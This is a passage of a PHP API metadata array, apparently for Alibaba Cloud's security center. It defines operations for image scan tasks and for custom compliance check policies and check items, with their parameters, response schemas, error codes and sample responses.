Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n" ."\n" .'> By default, a maximum of 10 image scan tasks can be running at the same time. If 10 image scan tasks are running, you cannot create an image scan task by calling this operation. You must wait for at least one of the 10 existing image scan tasks to complete before you can create an image scan task.'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F9353221-40F4-5F98-B73C-2803DC804033\\",\\n \\"Data\\": {\\n \\"TaskId\\": \\"a410bb3e68c217a3368bc0238c66886d\\",\\n \\"TotalCount\\": 5,\\n \\"FinishCount\\": 5,\\n \\"CollectTime\\": 1644286364150,\\n \\"ExecTime\\": 1644286364150,\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"SUCCESS\\",\\n \\"CanCreate\\": true\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n F9353221-40F4-5F98-B73C-2803DC804033\\n \\n a410bb3e68c217a3368bc0238c66886d\\n 5\\n 5\\n 1644286364150\\n 1644286364150\\n SUCCESS\\n 100\\n SUCCESS\\n true\\n \\n","errorExample":""}]', 'title' => 'PublicSyncAndCreateImageScanTask', ], 'DescribeCountScannedImage' => [ 'summary' => 'Queries the number of images that are scanned.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3F4236AB-7070-538D-85EB-98EBFE6C****', ], 'ScannedCount' => [ 'description' => 'The number of images that are scanned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3F4236AB-7070-538D-85EB-98EBFE6C****\\",\\n \\"ScannedCount\\": 11\\n}","type":"json"}]', 'title' => 'DescribeCountScannedImage', ], 'CreateCheckPolicy' => [ 'summary' => 'Create Policy', 'path' => '', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'PolicyType', 'in' => 'query', 'schema' => [ 'description' => 'The policy category type for custom check rules:'."\n" .'- **STANDARD**: Add to a standard.'."\n" .'- **REQUIREMENT**: Add to a requirement.'."\n" .'- **SECTION**: Add to a section.', 'type' => 'string', 'required' => true, 'example' => 'STANDARD', ], ], [ 'name' => 'PolicyShowName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the custom policy.', 'type' => 'string', 'required' => true, 'example' => 'TestPolicyName', ], ], [ 'name' => 'DependentPolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the parent policy.'."\n" .' '."\n" .'(The specific dependency order from low to high is Section -> Requirement -> Standard)', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The name of the major policy category (required when PolicyType is STANDARD):'."\n" .'- **AISPM**: AI Configuration Management (AISPM).'."\n" .'- **IDENTITY_PERMISSION**: Identity and Permission Management (CIEM).'."\n" .'- **RISK**: Security Risk.'."\n" .'- **COMPLIANCE**: Compliance Risk.', 'type' => 'string', 'required' => false, 'example' => 'AISPM', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Information about the returned request.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for the request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', ], 'CheckCustomPolicy' => [ 'description' => 'Specific information about the added policy.', 'type' => 'object', 'properties' => [ 'PolicyId' => [ 'description' => 'The ID of the custom policy.', 'type' => 'integer', 'format' => 'int64', 'example' => '1062**', ], 'PolicyType' => [ 'description' => 'The policy type for custom check rules:'."\n" .'- **STANDARD**: Standard policy type.'."\n" .'- **REQUIREMENT**: Requirement policy type.'."\n" .'- **SECTION**: Section policy type.', 'type' => 'string', 'example' => 'STANDARD', ], 'PolicyShowName' => [ 'description' => 'The name of the custom policy.', 'type' => 'string', 'example' => 'TestPolicyName', ], 'CheckType' => [ 'description' => 'The type of the policy (indicating whether it is a system or user-defined policy):'."\n" .'- **CUSTOM**: User-defined.'."\n" .'- **SYSTEM**: System-predefined.', 'type' => 'string', 'example' => 'CUSTOM', ], 'Type' => [ 'description' => 'The name of the associated major policy category:'."\n" .'- **AISPM**: AI Configuration Management (AISPM).'."\n" .'- **KISPM**: Kubernetes Configuration Management (KSPM).'."\n" .'- **IDENTITY_PERMISSION**: Identity and Permission Management (CIEM).'."\n" .'- **RISK**: Security Risk.'."\n" .'- **COMPLIANCE**: Compliance Risk.', 'type' => 'string', 'example' => 'AISPM', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], [ 'errorCode' => 'CspmCreatePolicyExceedLimit', 'errorMessage' => 'The maximum number of created policies has been reached.', ], [ 'errorCode' => 'CspmCreatePolicyExists', 'errorMessage' => 'Related policy %s already exist.', ], [ 'errorCode' => 'CspmPolicyTypeNotExist', 'errorMessage' => 'The associated check criteria does not exist.', ], [ 'errorCode' => 'CspmDependentPolicyError', 'errorMessage' => 'The associated policy %s is missing.', ], [ 'errorCode' => 'CspmCreatePolicyError', 'errorMessage' => 'Failed to create policy.', ], [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"CheckCustomPolicy\\": {\\n \\"PolicyId\\": 0,\\n \\"PolicyType\\": \\"STANDARD\\",\\n \\"PolicyShowName\\": \\"TestPolicyName\\",\\n \\"CheckType\\": \\"CUSTOM\\",\\n \\"Type\\": \\"AISPM\\"\\n }\\n}","type":"json"}]', 'title' => 'Create Custom Check Policy Category', 'translator' => 'machine', ], 'CreateCheckItem' => [ 'summary' => 'User creates a custom check item', 'path' => '', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'SectionIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Array of section IDs associated with the check item.', 'type' => 'array', 'items' => [ 'description' => 'Section ID associated with the check item.'."\n" .'> You can call the [ListCheckPolicies](~~ListCheckPolicies~~) API to get the check item ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1000000000001', ], 'required' => true, 'maxItems' => 100, ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'Cloud asset vendor.'."\n" .'> You can call the [ListCloudAssetSchemas](~~ListCloudAssetSchemas~~) API to get the available vendors.', 'type' => 'string', 'required' => true, 'example' => 'ALIYUN', ], ], [ 'name' => 'InstanceType', 'in' => 'query', 'schema' => [ 'description' => 'Asset type of the cloud product.'."\n" .'> You can call the [ListCloudAssetSchemas](~~ListCloudAssetSchemas~~) API to get this parameter.', 'type' => 'string', 'required' => true, 'example' => 'ECS', ], ], [ 'name' => 'InstanceSubType', 'in' => 'query', 'schema' => [ 'description' => 'Sub-asset type of the cloud product.'."\n" .'> You can call the [ListCloudAssetSchemas](~~ListCloudAssetSchemas~~) API to get this parameter.', 'type' => 'string', 'required' => true, 'example' => 'DISK', ], ], [ 'name' => 'CheckShowName', 'in' => 'query', 'schema' => [ 'description' => 'Name of the custom check item.', 'type' => 'string', 'required' => true, 'example' => 'testCheckItemName', ], ], [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'Risk level of the check item. Values:'."\n" .'- **HIGH**: High risk'."\n" .'- **MEDIUM**: Medium risk'."\n" .'- **LOW**: Low risk', 'type' => 'string', 'required' => true, 'example' => 'LOW', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Status of the check item. Values:'."\n" .'- **EDIT**: In editing'."\n" .'- **RELEASE**: Released'."\n" ."\n" .'> - Changing from **Released** to **In editing** will clear all historical records'."\n" .'> - Only the **Released** status allows the use of the check item for inspection.', 'type' => 'string', 'required' => true, 'example' => 'EDIT', 'enum' => [ 'RELEASE', 'EDIT', ], ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'Remark information.', 'type' => 'string', 'required' => false, 'example' => 'remark', ], ], [ 'name' => 'Description', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'Description information of the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'Type of the check item description information. Values:'."\n" ."\n" .'- **text**: Text', 'type' => 'string', 'required' => false, 'example' => 'text', ], 'Value' => [ 'description' => 'Specific content of the description.', 'type' => 'string', 'required' => false, 'example' => 'custom description.', ], ], 'required' => false, ], ], [ 'name' => 'AssistInfo', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'Help information for the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'Type of the help information for the check item risk. Values:'."\n" ."\n" .'- **text**: Text', 'type' => 'string', 'required' => false, 'example' => 'text', ], 'Value' => [ 'description' => 'Content of the help information for the check item risk.', 'type' => 'string', 'required' => false, 'example' => 'custom assistInfo.', ], ], 'required' => false, ], ], [ 'name' => 'Solution', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'Solution information for the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'Type of the solution information for the check item. Values:'."\n" ."\n" .'- **text**: Text', 'type' => 'string', 'required' => false, 'example' => 'text', ], 'Value' => [ 'description' => 'Content of the solution for the check item risk.', 'type' => 'string', 'required' => false, 'example' => 'text', ], ], 'required' => false, ], ], [ 'name' => 'CheckRule', 'in' => 'query', 'schema' => [ 'description' => 'Definition rule for the custom check item.', 'type' => 'string', 'required' => true, 'example' => '{"AssociatedData":{"ToDataList":[{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","FromPropertyPath":"InstanceId"}]},"MatchProperty":{"Operator":"AND","MatchProperties":[{"DataName":"ACS_ECS_Disk","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testId"},{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testInstanceId"}]}}', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Data structure returned by the interface.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'ID of the current request, which is a unique identifier generated by Alibaba Cloud for the request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'Data' => [ 'description' => 'Data returned upon successful invocation.', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => '创建成功返回的检查项ID。', 'type' => 'integer', 'format' => 'int64', 'example' => '100000000001', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], [ 'errorCode' => 'CspmParamOverSize', 'errorMessage' => 'The parameter is too long.', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], [ 'errorCode' => 'CspmCreateCheckCustomItemExceedLimit', 'errorMessage' => 'The number of custom check items created exceeds the limit.', ], [ 'errorCode' => 'CspmCheckCustomItemSectionsError', 'errorMessage' => 'The chapter associated with the custom check item does not exist.', ], [ 'errorCode' => 'CspmVerifyItemRuleError.%s', 'errorMessage' => 'Audit check item check rule error: %s.', ], [ 'errorCode' => 'CspmCreateCheckCustomItemError', 'errorMessage' => 'Failed to create custom check item.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Data\\": {\\n \\"CheckId\\": 100000000001\\n }\\n}","type":"json"}]', 'title' => 'Create Custom Check Item', 'translator' => 'machine', ], 'DeleteCheckItem' => [ 'summary' => 'Delete custom check item for Situation Awareness', 'path' => '', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of check item IDs.', 'type' => 'array', 'items' => [ 'description' => 'Check item ID.'."\n" .'> You can call the [ListCheckItems](~~ListCheckItems~~) API to obtain this parameter.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1000000000001', ], 'required' => true, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The structure returned by the interface.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the current request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', ], 'CheckItems' => [ 'description' => 'List of deleted custom check items.', 'type' => 'array', 'items' => [ 'description' => 'Information about the check item.', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'Check item ID.', 'type' => 'integer', 'format' => 'int64', 'example' => '1000000000001', ], 'CheckShowName' => [ 'description' => 'Check item name.', 'type' => 'string', 'example' => 'testCheckItemName', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], [ 'errorCode' => 'CspmDeleteCheckCustomItemError', 'errorMessage' => 'The deleted custom check item does not exist.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\",\\n \\"CheckItems\\": [\\n {\\n \\"CheckId\\": 1000000000001,\\n \\"CheckShowName\\": \\"testCheckItemName\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'Delete Custom Check Item', 'translator' => 'machine', ], 'ListCheckItems' => [ 'summary' => 'List custom check items for situational awareness', 'path' => '', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '100000000001', ], ], [ 'name' => 'CheckShowName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the custom check item.', 'type' => 'string', 'required' => false, 'example' => 'testCheckItemName', ], ], [ 'name' => 'CheckTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The source type of the situational awareness check item.', 'type' => 'array', 'items' => [ 'description' => 'The type of the check item (identifies whether the policy is a system check item or a user check item):'."\n" .'- **CUSTOM**: User-defined'."\n" .'- **SYSTEM**: System-defined', 'type' => 'string', 'required' => false, 'example' => 'SYSTEM', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for requests and responses. The default value is **zh**. Values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Statuses', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The status of the check item.', 'type' => 'array', 'items' => [ 'description' => 'The status of the check item. Values:'."\n" .'- **EDIT**: In editing'."\n" .'- **RELEASE**: Released', 'type' => 'string', 'required' => false, 'example' => 'RELEASE', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'Specifies the maximum number of data entries to display per page when performing a paginated query. The default number of data entries displayed per page is 20, and if the PageSize parameter is empty, it will default to returning 20 data entries.'."\n" .'> It is recommended that the PageSize value is not left empty.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies the page number to display when performing a paginated query. The starting value is **1**, and the default value is **1**.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The response body of the API.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the current request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], 'CheckItems' => [ 'description' => 'Information about the check items.', 'type' => 'array', 'items' => [ 'description' => 'Information about the check items.', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the check item.', 'type' => 'integer', 'format' => 'int64', 'example' => '100000000001', ], 'CheckShowName' => [ 'description' => 'The name of the check item.', 'type' => 'string', 'example' => 'testCheckItemName', ], 'Vendor' => [ 'description' => 'The cloud asset vendor.', 'type' => 'string', 'example' => 'ALIYUN', ], 'InstanceType' => [ 'description' => 'The asset type of the cloud product.', 'type' => 'string', 'example' => 'ECS', ], 'InstanceSubType' => [ 'description' => 'The sub-type of the cloud product\'s asset.', 'type' => 'string', 'example' => 'DISK', ], 'RiskLevel' => [ 'description' => 'The risk level of the check item. Values:'."\n" .'- **HIGH**: High risk'."\n" .'- **MEDIUM**: Medium risk'."\n" .'- **LOW**: Low risk', 'type' => 'string', 'example' => 'HIGH', ], 'Status' => [ 'description' => 'The status of the check item. Values:'."\n" .'- **EDIT**: In editing'."\n" .'- **RELEASE**: Released', 'type' => 'string', 'example' => 'EDIT', ], 'CheckPolicies' => [ 'description' => 'A list of standard, regulation, and section information associated with the check result.', 'type' => 'array', 'items' => [ 'description' => '检查结果关联的标准、条例、章节信息。', 'type' => 'object', 'properties' => [ 'StandardId' => [ 'description' => '检查项的标准ID。', 'type' => 'integer', 'format' => 'int64', 'example' => '10000000001', ], 'StandardShowName' => [ 'description' => 'The display name of the standard for the check item.', 'type' => 'string', 'example' => 'testStandardShowName', ], 'RequirementId' => [ 'description' => 'The ID of the requirement for the check item.', 'type' => 'integer', 'format' => 'int64', 'example' => '10000000001', ], 'RequirementShowName' => [ 'description' => 'The display name of the requirement for the check item.', 'type' => 'string', 'example' => 'testRequirementShowName', ], 'SectionId' => [ 'description' => 'The ID of the section for the check item.', 'type' => 'integer', 'format' => 'int64', 'example' => '10000000001', ], 'SectionShowName' => [ 'description' => 'The display name of the section for the check item.', 'type' => 'string', 'example' => 'testSectionShowName', ], 'Type' => [ 'description' => 'The name of the associated policy category:'."\n" .'- **AISPM**：AI Configuration Management (AI-SPM)'."\n" .'- **KISPM**：Kubernetes Configuration Management (KSPM)'."\n" .'- **IDENTITY_PERMISSION**：Identity and Permission Management (CIEM)'."\n" .'- **RISK**：Security Risk'."\n" .'- **COMPLIANCE**：Compliance Risk', 'type' => 'string', 'example' => 'AISPM', ], ], ], ], 'Description' => [ 'description' => 'The description information of the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the check description attribute. Values:'."\n" ."\n" .'- **text**：Text', 'type' => 'string', 'example' => 'text', ], 'Value' => [ 'description' => 'The specific content of the description.', 'type' => 'string', 'example' => 'custom description.', ], ], ], 'Solution' => [ 'description' => 'The solution information for the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the check item solution information. Values:'."\n" ."\n" .'- **text**：Text', 'type' => 'string', 'example' => 'text', ], 'Value' => [ 'description' => 'The content of the solution for the check item risk.', 'type' => 'string', 'example' => 'test solution.', ], ], ], 'AssistInfo' => [ 'description' => 'The help information for the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the help information for the check item risk. Values:'."\n" ."\n" .'- **text**：Text', 'type' => 'string', 'example' => 'text', ], 'Value' => [ 'description' => 'The content of the help information for the check item risk.', 'type' => 'string', 'example' => 'test assistInfo.', ], ], ], 'CheckRule' => [ 'description' => '自定义检查项定义规则。', 'type' => 'string', 'example' => '{"AssociatedData":{"ToDataList":[{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","FromPropertyPath":"InstanceId"}]},"MatchProperty":{"Operator":"AND","MatchProperties":[{"DataName":"ACS_ECS_Disk","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testId"},{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testInstanceId"}]}}', ], 'CheckType' => [ 'description' => 'The source type of the Security Posture check item:'."\n" .' - **CUSTOM**: User-defined'."\n" .' - **SYSTEM**: Predefined by the Security Posture platform', 'type' => 'string', 'example' => 'SYSTEM', ], 'Remark' => [ 'description' => 'Remark information.', 'type' => 'string', 'example' => 'remark.', ], ], ], ], 'PageInfo' => [ 'description' => 'Page information for paginated queries.', 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'Total number of data entries found.', 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'Number of data entries displayed on the current page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'CurrentPage' => [ 'description' => 'The page number of the current page when performing a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The maximum number of records displayed per page when performing a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"CheckItems\\": [\\n {\\n \\"CheckId\\": 100000000001,\\n \\"CheckShowName\\": \\"testCheckItemName\\",\\n \\"Vendor\\": \\"ALIYUN\\",\\n \\"InstanceType\\": \\"ECS\\",\\n \\"InstanceSubType\\": \\"DISK\\",\\n \\"RiskLevel\\": \\"HIGH\\",\\n \\"Status\\": \\"EDIT\\",\\n \\"CheckPolicies\\": [\\n {\\n \\"StandardId\\": 10000000001,\\n \\"StandardShowName\\": \\"testStandardShowName\\",\\n \\"RequirementId\\": 10000000001,\\n \\"RequirementShowName\\": \\"testRequirementShowName\\",\\n \\"SectionId\\": 10000000001,\\n \\"SectionShowName\\": \\"testSectionShowName\\",\\n \\"Type\\": \\"AISPM\\"\\n }\\n ],\\n \\"Description\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"custom description.\\"\\n },\\n \\"Solution\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"test solution.\\"\\n },\\n \\"AssistInfo\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"test assistInfo.\\"\\n },\\n \\"CheckRule\\": \\"{\\\\\\"AssociatedData\\\\\\":{\\\\\\"ToDataList\\\\\\":[{\\\\\\"DataName\\\\\\":\\\\\\"ACS_ECS_Instance\\\\\\",\\\\\\"PropertyPath\\\\\\":\\\\\\"InstanceId\\\\\\",\\\\\\"FromPropertyPath\\\\\\":\\\\\\"InstanceId\\\\\\"}]},\\\\\\"MatchProperty\\\\\\":{\\\\\\"Operator\\\\\\":\\\\\\"AND\\\\\\",\\\\\\"MatchProperties\\\\\\":[{\\\\\\"DataName\\\\\\":\\\\\\"ACS_ECS_Disk\\\\\\",\\\\\\"PropertyPath\\\\\\":\\\\\\"InstanceId\\\\\\",\\\\\\"MatchOperator\\\\\\":\\\\\\"EQ\\\\\\",\\\\\\"MatchPropertyValue\\\\\\":\\\\\\"testId\\\\\\"},{\\\\\\"DataName\\\\\\":\\\\\\"ACS_ECS_Instance\\\\\\",\\\\\\"PropertyPath\\\\\\":\\\\\\"InstanceId\\\\\\",\\\\\\"MatchOperator\\\\\\":\\\\\\"EQ\\\\\\",\\\\\\"MatchPropertyValue\\\\\\":\\\\\\"testInstanceId\\\\\\"}]}}\\",\\n \\"CheckType\\": \\"SYSTEM\\",\\n \\"Remark\\": \\"remark.\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20,\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20\\n }\\n}","type":"json"}]', 'title' => 'Query Custom Check Items', 'translator' => 'machine', ], 'UpdateCheckPolicy' => [ 'summary' => 'Update Custom Policy', 'path' => '', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the custom policy.'."\n" .'> You can obtain this parameter by calling the [ListCheckPolicies](~~ListCheckPolicies~~) API.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1000000000001', ], ], [ 'name' => 'PolicyType', 'in' => 'query', 'schema' => [ 'description' => 'Classification type of the custom check item rule:'."\n" .'- **STANDARD**: Add to standard.'."\n" .'- **REQUIREMENT**: Add to requirement.'."\n" .'- **SECTION**: Add to section.', 'type' => 'string', 'required' => true, 'example' => 'STANDARD', ], ], [ 'name' => 'PolicyShowName', 'in' => 'query', 'schema' => [ 'description' => 'Name of the custom classification.', 'type' => 'string', 'required' => false, 'example' => 'testPolicyName', ], ], [ 'name' => 'DependentPolicyId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the associated parent policy.'."\n" ."\n" .'(The specific dependency hierarchy, from low to high, is Section -> Requirement -> Standard).', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1000000000002', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'Name of the associated major policy category (required when PolicyType is STANDARD):'."\n" .'- **AISPM**: AI Configuration Management (AISPM).'."\n" .'- **RISK**: Security Risk.'."\n" .'- **COMPLIANCE**: Compliance Risk.', 'type' => 'string', 'required' => false, 'example' => 'AISPM', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The message structure returned by the interface.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this request, a unique identifier generated by Alibaba Cloud for this request, which can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], 'CheckCustomPolicy' => [ 'description' => 'Details of the custom policy.', 'type' => 'object', 'properties' => [ 'PolicyId' => [ 'description' => 'ID of the custom policy.', 'type' => 'integer', 'format' => 'int64', 'example' => '100000000001', ], 'PolicyType' => [ 'description' => 'Policy type of the custom check item rule:'."\n" .'- **STANDARD**: Standard policy type.'."\n" .'- **REQUIREMENT**: Requirement policy type.'."\n" .'- **SECTION**: Section policy type.', 'type' => 'string', 'example' => 'STANDARD', ], 'PolicyShowName' => [ 'description' => 'Name of the custom policy.', 'type' => 'string', 'example' => 'testPolictName', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], [ 'errorCode' => 'CspmUpdatePolicyNotExist', 'errorMessage' => 'Update policy does not exist.', ], [ 'errorCode' => 'CspmPolicyTypeNotExist', 'errorMessage' => 'The associated check criteria does not exist.', ], [ 'errorCode' => 'CspmDependentPolicyError', 'errorMessage' => 'The associated policy %s is missing.', ], [ 'errorCode' => 'CspmUpdatePolicyError', 'errorMessage' => 'Failed to update policy.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": 